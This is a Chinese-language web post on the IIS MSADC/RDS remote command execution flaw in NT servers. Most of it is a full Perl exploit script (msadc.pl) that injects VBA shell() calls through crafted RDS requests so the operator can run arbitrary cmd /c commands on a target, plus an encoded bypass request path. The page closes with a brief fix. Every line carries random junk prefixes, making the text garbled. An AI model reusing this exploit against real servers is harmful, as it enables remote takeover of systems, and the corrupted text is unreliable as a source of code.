IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
5Yibv6:3a WHj4#v( 涉及程序:
[q{Txe Microsoft NT server
3 BhA.o L-:L=
snO 描述:
tJF~Xv2L! 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
GBOmVQ $Hb
G?1V~6 详细:
``)1`wx$ 如果你没有时间读详细内容的话,就删除:
+T-zf@j c:\Program Files\Common Files\System\Msadc\msadcs.dll
NF.6(PG| 有关的安全问题就没有了。
V+<AG*[ nX aX= 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
(<~R[sT| >oaEG5%d 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
L<>NL$CrN 关于利用ODBC远程漏洞的描述,请参看:
NHVx!Kc *RE-K36m|u http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |[7$) $ nZ+5@(
* 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Zgf||, http://www.microsoft.com/security/bulletins/MS99-025faq.asp bRe *( Saq>o. 这里不再论述。
v?"ee&Y6 EKJ4_kkjM 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
E/-Kd!|" W%ZU& YBc /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
l*MUDT@M8\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
v?=VZ~`O( 9nAK6$/ ~g6[ [ #将下面这段保存为txt文件,然后: "perl -x 文件名"
c'TLD!^hB !w\;Q8irN #!perl
72.IhBNtT #
DH*|>m& # MSADC/RDS 'usage' (aka exploit) script
ew ,ed U #
mqc Z3lsv # by rain.forest.puppy
3Ty{8oUs^ #
-#M~NbI, # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
l'8TA~ # beta test and find errors!
=QO[zke: fv'P!+)t use Socket; use Getopt::Std;
b'"% getopts("e:vd:h:XR", \%args);
;pK"N:| c)YGwkY,, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#;\;F PuZ `%I{l if (!defined $args{h} && !defined $args{R}) {
2l4 i-; print qq~
t|"d#5' Usage: msadc.pl -h <host> { -d <delay> -X -v }
;9\0x -h <host> = host you want to scan (ip or domain)
Nmq5Tv -d <seconds> = delay between calls, default 1 second
mzR
@P$:36 -X = dump Index Server path table, if available
=zGz|YI*? -v = verbose
Rk0rHC6[ -e = external dictionary file for step 5
uy\+#:44d :2d9ZDyD Or a -R will resume a command session
5F?g6?j{ 9f[[%80 ~; exit;}
hRcJ):Wyb A'R sy6 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
#e|kA&+8M if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^K[tO54 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q)i(wEdUZ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
y9 '3vZ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
+~]g&Mf6o if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
3<E$m* n=MYv(Pp} if (!defined $args{R}){ $ret = &has_msadc;
jM<Ihmh| die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
7B :aJfxM L%Hm#eFx print "Please type the NT commandline you want to run (cmd /c assumed):\n"
<xNM@!'\h . "cmd /c ";
Ot<!Y M $in=<STDIN>; chomp $in;
LA0x6E+I $command="cmd /c " . $in ;
@= 9y5r f#MN-1[67 if (defined $args{R}) {&load; exit;}
EmoU7iy /aEQ3x print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
bx6}zkf& &try_btcustmr;
\~1+T `Pbn print "\nStep 2: Trying to make our own DSN...";
"7/YhLq7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
U2u>A
r \Nyxi7 print "\nStep 3: Trying known DSNs...";
l'f!za0 &known_dsn;
!+l,
m8Hly TC}u[kM print "\nStep 4: Trying known .mdbs...";
]gk1h=Y~h &known_mdb;
=Bx~'RYl1d !g:UM R if (defined $args{e}){
. r"?w print "\nStep 5: Trying dictionary of DSN names...";
9>P(eN &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Z%Kj^
M 8r,%! 70 print "Sorry Charley...maybe next time?\n";
|th )Q exit;
y>PbYjuIU =LzW#s=O ##############################################################################
\OH:xW~ [ RuY' sub sendraw { # ripped and modded from whisker
$^>vJk< sleep($delay); # it's a DoS on the server! At least on mine...
/HD2F_XA my ($pstr)=@_;
\Y p
oJ!- socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~5529 die("Socket problems\n");
Ey%NqOs0# if(connect(S,pack "SnA4x8",2,80,$target)){
@]4 s&;
select(S); $|=1;
J n/=v\K@ print $pstr; my @in=<S>;
nVD
YAg' select(STDOUT); close(S);
WRM}gWv* return @in;
[X]o` } else { die("Can't connect...\n"); }}
t]XJq UkKpSL}Q2 ##############################################################################
qo|iw+0Y v_h{_b8 sub make_header { # make the HTTP request
?sE21m?b- my $msadc=<<EOT
gV BV@v!W POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
5Bk User-Agent: ACTIVEDATA
;wZ.p"T9^ Host: $ip
#n
r1- sf| Content-Length: $clen
Bw[V K7 Connection: Keep-Alive
r>o6}Mx$ 5 <poN)" ADCClientVersion:01.06
2T5ZbXc+x Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*ni|I@8 k=}hY+/= --!ADM!ROX!YOUR!WORLD!
KG@hjO Content-Type: application/x-varg
uI/
A_ Content-Length: $reqlen
LLiX%XOh Yw0@O1Cel EOT
M`'2
a ; $msadc=~s/\n/\r\n/g;
{wySH[V return $msadc;}
f5Oh# [E1I?hfJ ##############################################################################
g^FH[(P[G 2t<CAKBB
sub make_req { # make the RDS request
)1le- SC my ($switch, $p1, $p2)=@_;
l"CONzm!
my $req=""; my $t1, $t2, $query, $dsn;
|Sm/Uq(c $-73}[UA 4 if ($switch==1){ # this is the btcustmr.mdb query
`PfC:L $query="Select * from Customers where City=" . make_shell();
]vMft? $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
x`&W[AA4 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}$jIvb,3? `^ok5w"oi elsif ($switch==2){ # this is general make table query
J%'|IwA $query="create table AZZ (B int, C varchar(10))";
t[Q\T0E $dsn="$p1";}
AsOI`@FV PoZBiw@ elsif ($switch==3){ # this is general exploit table query
fsoS!6h0k $query="select * from AZZ where C=" . make_shell();
SbY i|V,H $dsn="$p1";}
;7}*Xr| }dCnFZ{K3 elsif ($switch==4){ # attempt to hork file info from index server
'1<QK $query="select path from scope()";
l"/O s_4O $dsn="Provider=MSIDXS;";}
E:AXnnGKO -L@=j elsif ($switch==5){ # bad query
zuw6YY8kQ $query="select";
:O2N'vl47A $dsn="$p1";}
rcCMx"L= :M16ijkx $t1= make_unicode($query);
"-
AiC6u $t2= make_unicode($dsn);
G(i/ @>l $req = "\x02\x00\x03\x00";
wB@A?&UY $req.= "\x08\x00" . pack ("S1", length($t1));
fqxMTTg@ $req.= "\x00\x00" . $t1 ;
ryPzq}# $req.= "\x08\x00" . pack ("S1", length($t2));
p{U ro!J,K $req.= "\x00\x00" . $t2 ;
S3w? X $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
lUmaNZ return $req;}
%?ad.F+7 :v`o=" ##############################################################################
gueCP+a_ L-yC 'C sub make_shell { # this makes the shell() statement
E@p9vf-> return "'|shell(\"$command\")|'";}
u- ,=C/iU ^)WGc/ ##############################################################################
cVN|5Y |yr}g-m sub make_unicode { # quick little function to convert to unicode
:B
im`mHl my ($in)=@_; my $out;
\TjsXy=:) for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
(Q&Z/Fe return $out;}
kq+L63fZ NR" Xn7G ##############################################################################
hz!.|U@,{< {dDU^7O sub rdo_success { # checks for RDO return success (this is kludge)
Q =Z-vTD+ my (@in) = @_; my $base=content_start(@in);
G"]'`2.m if($in[$base]=~/multipart\/mixed/){
*=rl<?tX return 1 if( $in[$base+10]=~/^\x09\x00/ );}
U<$ |ET' return 0;}
mSs%g L]g ^+88z> ##############################################################################
+m_quQ/ys $|AxQQ%f sub make_dsn { # this makes a DSN for us
eG.?s;J0 my @drives=("c","d","e","f");
pV_2JXM~@ print "\nMaking DSN: ";
*5^h>Vk/ foreach $drive (@drives) {
bTJ7RqL print "$drive: ";
;TYkJH" my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
~ ~&M&Fe
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+u7mw<A
8 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
dXZV1e1b $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
YIfbcR5 return 0 if $2 eq "404"; # not found/doesn't exist
czafBO6 if($2 eq "200") {
0oD?4gn foreach $line (@results) {
b@Fa|>"_ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
wNn6".S } return 0;}
9kcAMk1K EyhQjsaT ##############################################################################
HQ"D>hsuU tq{
aa sub verify_exists {
uTQ/_$
my ($page)=@_;
z'
@F@k6 my @results=sendraw("GET $page HTTP/1.0\n\n");
@AJt/wPk return $results[0];}
{B34^H: dbw`E"g ##############################################################################
Y%2<}3P V}& sub try_btcustmr {
_|3n h;-m my @drives=("c","d","e","f");
/p~gm\5Z my @dirs=("winnt","winnt35","winnt351","win","windows");
w1[F]| a!;?!f-i foreach $dir (@dirs) {
ws@;2?%A print "$dir -> "; # fun status so you can see progress
"!2Fy-Y foreach $drive (@drives) {
\\_Qv print "$drive: "; # ditto
pl5!Ih6 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
M*nfWQ
a $reqlenlen=length( "$reqlen" );
dI3U*:$X
$clen= 206 + $reqlenlen + $reqlen;
dLLF#N VgOj#Z?K my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ds`a6>746 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
bV}43zI. else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
E1=]m Lf3:' n ##############################################################################
cJ&%XN :WE(1!P@ sub odbc_error {
QHOem=B my (@in)=@_; my $base;
C;_10Rb2ut my $base = content_start(@in);
}{s<!b if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
jlItPdCv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
bEbnZ<kz* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
m3 ,i{ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
YoJN.],gf return $in[$base+4].$in[$base+5].$in[$base+6];}
_&P![o)x print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
b2hB'!m print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
~b*f2UVs
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
xI$B",?( M '[.ay ##############################################################################
,u/GA<'#M CtS*"c,j sub verbose {
nI&Tr_"tm my ($in)=@_;
72.ZE%Ue return if !$verbose;
~!\n print STDOUT "\n$in\n";}
lj(}{O
d x?4)lb ##############################################################################
i!9yN:m0 :beBiO sub save {
s-[ _% my ($p1, $p2, $p3, $p4)=@_;
zGF_ c9X open(OUT, ">rds.save") || print "Problem saving parameters...\n";
l:%4@t` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
F|9
W7 close OUT;}
!q mnMY$ 5#~u U ##############################################################################
d?S7E
q9` ;vnG sub load {
s%GhjWZS my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
ND77(I$3s open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s0WI93+z @p=<IN>; close(IN);
va[@XGaC3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
jw]~g+x#$ $target= inet_aton($ip) || die("inet_aton problems");
uDbz`VpK print "Resuming to $ip ...";
C;QIp6"1 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
T_i]y4dg if($p[1]==1) {
|5^tp $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
g)nsP $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
|]y]K% my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
Z(k7&^d if (rdo_success(@results)){print "Success!\n";}
`KgIr,Q) else { print "failed\n"; verbose(odbc_error(@results));}}
v2][gn+58 elsif ($p[1]==3){
O0[.*xG if(run_query("$p[3]")){
eD2u!OKW! print "Success!\n";} else { print "failed\n"; }}
R9%Um6 elsif ($p[1]==4){
b=(?\ if(run_query($drvst . "$p[3]")){
{N!Xp:(<7_ print "Success!\n"; } else { print "failed\n"; }}
R-5EztmLae exit;}
pCb3^# &o U 51C /A ##############################################################################
I:?1(.kd2- I*hCIy#; sub create_table {
jzt$ my ($in)=@_;
9O1#% $reqlen=length( make_req(2,$in,"") ) - 28;
M@%$9N)gd $reqlenlen=length( "$reqlen" );
w eu3c`-a $clen= 206 + $reqlenlen + $reqlen;
;iEr+ my @results=sendraw(make_header() . make_req(2,$in,""));
x=]PE}<E return 1 if rdo_success(@results);
zI1-l9 o my $temp= odbc_error(@results); verbose($temp);
<Wqk5mR return 1 if $temp=~/Table 'AZZ' already exists/;
pH!e<m return 0;}
NFxs4:]
RT a8$gXX-2 ##############################################################################
w=Cqv~ 9b88):[qO sub known_dsn {
+OM`c7M: # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
]m&cVy& my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
bUJ5jkZ) "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0{0BL@H "banner", "banners", "ads", "ADCDemo", "ADCTest");
/8](M5X]f OZ,%T9vP foreach $dSn (@dsns) {
H!uB&qY print ".";
[3&Y* W next if (!is_access("DSN=$dSn"));
B}Lz#'5_ if(create_table("DSN=$dSn")){
q4Z9;^S print "$dSn successful\n";
b3$aPwv if(run_query("DSN=$dSn")){
J^" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E}&Z=+v} print "Something's borked. Use verbose next time\n";}}} print "\n";}
~ 8hAmM `VJJ"v<L ##############################################################################
q].n1w[ 02|f@bP. sub is_access {
IG}`~% Z my ($in)=@_;
CY{`IZ $reqlen=length( make_req(5,$in,"") ) - 28;
%(72+B70R $reqlenlen=length( "$reqlen" );
{Vg8pt $clen= 206 + $reqlenlen + $reqlen;
OanH G my @results=sendraw(make_header() . make_req(5,$in,""));
1#o><
? my $temp= odbc_error(@results);
P8Nzz(JF verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<[N"W82p return 0;}
SiBhf3
\=kre+g ##############################################################################
Ws_RS% HW0EP J sub run_query {
OB-2xmZW my ($in)=@_;
~Z ,bd$ $reqlen=length( make_req(3,$in,"") ) - 28;
2d%j6D $reqlenlen=length( "$reqlen" );
SHM
?32' $clen= 206 + $reqlenlen + $reqlen;
A>SXc%K my @results=sendraw(make_header() . make_req(3,$in,""));
$m$tfa- return 1 if rdo_success(@results);
h"b;e2 my $temp= odbc_error(@results); verbose($temp);
3M/iuu return 0;}
fWr6f`de 8A|{jH74 ##############################################################################
bC[TLsh7{2 >,ThIwRN sub known_mdb {
p^=>N9 my @drives=("c","d","e","f","g");
#Kr\"o1] my @dirs=("winnt","winnt35","winnt351","win","windows");
:j sa.X my $dir, $drive, $mdb;
Y6_%HYI$ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
< C{-ph MT`gCvoF4P # this is sparse, because I don't know of many
a,B2;4" my @sysmdbs=( "\\catroot\\icatalog.mdb",
i{['18Q$F3 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
OK=lp4X "\\system32\\certmdb.mdb",
8XwZJ\5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
"X\|!Mxh X)-9u 8 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.I6:iB "\\cfusion\\cfapps\\forums\\forums_.mdb",
Afpj*o "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
i&|fGX?-I "\\cfusion\\cfapps\\security\\realm_.mdb",
Y Mes314" "\\cfusion\\cfapps\\security\\data\\realm.mdb",
+3@d]JfMh "\\cfusion\\database\\cfexamples.mdb",
yQ^k%hHa "\\cfusion\\database\\cfsnippets.mdb",
I=N;F6 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
bu;3Ib3\ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
XDtr{r6z "\\cfusion\\brighttiger\\database\\cleam.mdb",
D][e uB "\\cfusion\\database\\smpolicy.mdb",
%SWtE5HZQq "\\cfusion\\database\cypress.mdb",
[31vx0$_p "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
^qs{Cf$ "\\website\\cgi-win\\dbsample.mdb",
)X8?m <cG "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
3ug|H "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
W%/lBkP ); #these are just
!11x&Db foreach $drive (@drives) {
50 s)5G# foreach $dir (@dirs){
^H0`UKE foreach $mdb (@sysmdbs) {
fB\+.eN print ".";
AnB]f~Yjl if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
9t`Z_HwdCb print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
MhE'_sq if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8 *Fr=+KN print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
@,b:s+]rp } else { print "Something's borked. Use verbose next time\n"; }}}}}
b zz{ p1e - EwtO4vLJ foreach $drive (@drives) {
Fx^e%":@ip foreach $mdb (@mdbs) {
GCw<jHw print ".";
1
\#n{a3 if(create_table($drv . $drive . $dir . $mdb)){
UfE41el: print "\n" . $drive . $dir . $mdb . " successful\n";
f
zu#! if(run_query($drv . $drive . $dir . $mdb)){
q&eUw<(F print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
M<f=xY2$v } else { print "Something's borked. Use verbose next time\n"; }}}}
"8pfLI }
D.e4S6\& &4aY5y`8+f ##############################################################################
FTB@70 w(lxq:>" sub hork_idx {
pq
\M;& print "\nAttempting to dump Index Server tables...\n";
/0w?"2- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Yl65|=ne $reqlen=length( make_req(4,"","") ) - 28;
?*I
_'2 $reqlenlen=length( "$reqlen" );
R~z@voM*< $clen= 206 + $reqlenlen + $reqlen;
m,zZe}oJ my @results=sendraw2(make_header() . make_req(4,"",""));
o_2mSD! if (rdo_success(@results)){
}]-SAM my $max=@results; my $c; my %d;
?[[K6v}q{ for($c=19; $c<$max; $c++){
4JF8S#8B $results[$c]=~s/\x00//g;
i- Le& $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
M6ol/.G[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
*`}4]OGv. $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
{{FA"NW $d{"$1$2"}="";}
-:O~J#D foreach $c (keys %d){ print "$c\n"; }
VrV* -J' } else {print "Index server doesn't seem to be installed.\n"; }}
qO5.NIs >s@6rNgf ##############################################################################
HvITw%` 8}Pd- .se sub dsn_dict {
fk(l.A$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
sFR'y. while(<IN>){
8[\(*E}d!X $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
l)PEg PSRV next if (!is_access("DSN=$dSn"));
+6vm4(3? if(create_table("DSN=$dSn")){
9]Q\Pr\Ub$ print "$dSn successful\n";
'o2V}L'nG if(run_query("DSN=$dSn")){
YF{ KSGq print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7=.}484>J print "Something's borked. Use verbose next time\n";}}}
#
;,b4O7@ print "\n"; close(IN);}
_IAvFJI S9sFC!s1g ##############################################################################
R5QSf+/T4 l8n}&zX sub sendraw2 { # ripped and modded from whisker
u8Ul +u sleep($delay); # it's a DoS on the server! At least on mine...
|?c
v5l7E my ($pstr)=@_;
|TOz{ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$qN+BKd]3 die("Socket problems\n");
cJ 5":^O if(connect(S,pack "SnA4x8",2,80,$target)){
kcH?l print "Connected. Getting data";
Z`fm;7NiVG open(OUT,">raw.out"); my @in;
*+p9u 1B5 select(S); $|=1; print $pstr;
W\{gBjfE while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Hv>C#U close(OUT); select(STDOUT); close(S); return @in;
k~ZwHx(%S } else { die("Can't connect...\n"); }}
e+"rL] Dk#$PjcRE ##############################################################################
Jo1=C.V`Y \ H#zRSbZ sub content_start { # this will take in the server headers
}r&^*"
2= my (@in)=@_; my $c;
A9lnQCsJ for ($c=1;$c<500;$c++) {
T-=sC=sS, if($in[$c] =~/^\x0d\x0a/){
)Cuc]>SC if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
j)Z3m @Ii5 else { return $c+1; }}}
YoD1\a| return -1;} # it should never get here actually
cad%:%p NpRT\cx3 ##############################################################################
/easmf] B\2<r5|QG sub funky {
$'}:nwq6x my (@in)=@_; my $error=odbc_error(@in);
+
M2|-C if($error=~/ADO could not find the specified provider/){
tzv&E0|d print "\nServer returned an ADO miscofiguration message\nAborting.\n";
=G*rfV@__V exit;}
`0+zF- if($error=~/A Handler is required/){
?i*kwEj= print "\nServer has custom handler filters (they most likely are patched)\n";
%g3@m5& exit;}
3@e#E4+ff if($error=~/specified Handler has denied Access/){
!+T9NqDv[ print "\nServer has custom handler filters (they most likely are patched)\n";
wi]|"\ exit;}}
|H&2[B"l g/+P]c6/ ##############################################################################
8UB-(~ mDmy637_ sub has_msadc {
zBWn*A[4 my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
^ N]u my $base=content_start(@results);
oDp!^G2A" return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
iARIvhfdi return 0;}
pg69mKZ$ Qcu1&t\ C ########################
Xj.Tg1^K" hV_eb6aj}P m(nGtrQJm 解决方案:
Q4Mp[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
C=}YKsi|R| 2、移除web 目录: /msadc